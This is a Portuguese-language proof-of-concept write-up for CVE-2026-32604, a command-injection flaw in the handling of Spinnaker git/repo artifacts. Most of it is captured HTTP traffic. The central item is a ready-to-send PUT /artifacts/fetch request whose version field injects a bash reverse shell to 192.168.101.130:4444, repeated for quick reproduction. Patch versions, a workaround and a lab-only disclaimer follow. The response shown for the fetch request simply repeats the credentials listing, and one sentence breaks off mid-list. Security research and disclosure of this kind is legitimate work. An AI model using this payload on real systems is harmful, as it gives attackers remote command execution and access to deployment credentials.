
Prova de conceito de exploit para CVE-2026-32604, uma RCE por injeção de comando no tratamento de artefatos GitRepo do Spinnaker através do campo version.
CVE-2026-32604 - Execução Remota de Código no Spinnaker através do tipo de artefato
git/repo.
Esta é uma vulnerabilidade de injeção de comando / execução remota de código no tratamento de artefatos GitRepo do Spinnaker.
A funcionalidade vulnerável permite que valores controlados pelo usuário fornecidos através do campo version de um artefato git/repo alcancem a execução de comandos sem serem devidamente sanitizados.
O endpoint vulnerável é:
PUT /artifacts/fetch
O ponto importante é que a aplicação expõe o provedor de artefatos git/repo através de:
GET /artifacts/credentials
que retorna:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Isso confirma que o tipo de artefato git/repo está disponível.
A requisição vulnerável é enviada para:
PUT /artifacts/fetch
com um corpo JSON contendo um artefato de repositório Git.
O parâmetro version pode ser manipulado com sintaxe de shell.
Para testes, usei:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
A requisição completa capturada durante o PoC foi:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
O parâmetro importante aqui é:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
A expressão de shell injetada é anexada após o valor esperado de branch/versão do Git.
O # é usado para comentar o restante do comando após a expressão injetada.
A requisição foi aceita pela aplicação vulnerável.
A resposta HTTP capturada foi:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
O ponto relevante é que o tipo de artefato vulnerável está presente e o valor malicioso de version é aceito pelo endpoint de busca de artefatos.
Antes de testar o endpoint vulnerável, verifiquei se o alvo estava respondendo:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Resposta:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
O PoC é basicamente:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
O problema não é simplesmente que o endpoint aceita um nome de branch Git. O problema é que dados de artefato Git controlados pelo atacante alcançam um contexto de execução de comandos sem serem restringidos com segurança à sintaxe esperada de versão/branch do Git.
Para reprodução rápida, a requisição principal é:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
O payload acima é destinado apenas a um ambiente de laboratório controlado.
O caminho vulnerável envolve a implementação do artefato GitRepo processando informações de artefato controladas pelo atacante.
O valor esperado para version é algo semelhante a:
main
mas a aplicação não restringe suficientemente o valor a esse formato esperado.
Em vez disso, sintaxe de shell pode ser introduzida:
main; <command> #
o que altera o significado do comando resultante.
Isso transforma uma operação de recuperação de artefato em execução arbitrária de comandos no contexto do serviço Spinnaker Clouddriver vulnerável.
A exploração bem-sucedida pode resultar em execução arbitrária de comandos no pod Clouddriver afetado.
Dependendo das permissões e do ambiente do pod comprometido, isso pode potencialmente permitir que um atacante:
O aviso oficial do Spinnaker observa especificamente que a exploração pode expor credenciais, remover arquivos ou injetar recursos.
De acordo com o aviso de segurança do Spinnaker, as linhas de versão afetadas incluem versões anteriores a:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
As versões corrigidas são:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
A vulnerabilidade é rastreada como CVE-2026-32604 e é classificada como CWE-20: Validação de Entrada Imprópria.
Atualize o Spinnaker para uma versão corrigida.
O aviso upstream também lista a desativação do tipo de artefato git/repo como uma solução alternativa para instalações que não podem atualizar imediatamente.
Versões atuais do Spinnaker devem ser usadas sempre que possível, em vez de permanecer em uma linha de versão afetada.
Este PoC é fornecido para pesquisa de segurança, validação de vulnerabilidades e testes autorizados.
Execute-o apenas contra sistemas que você possui ou tem permissão explícita para testar.
Testei a vulnerabilidade em um ambiente de laboratório isolado.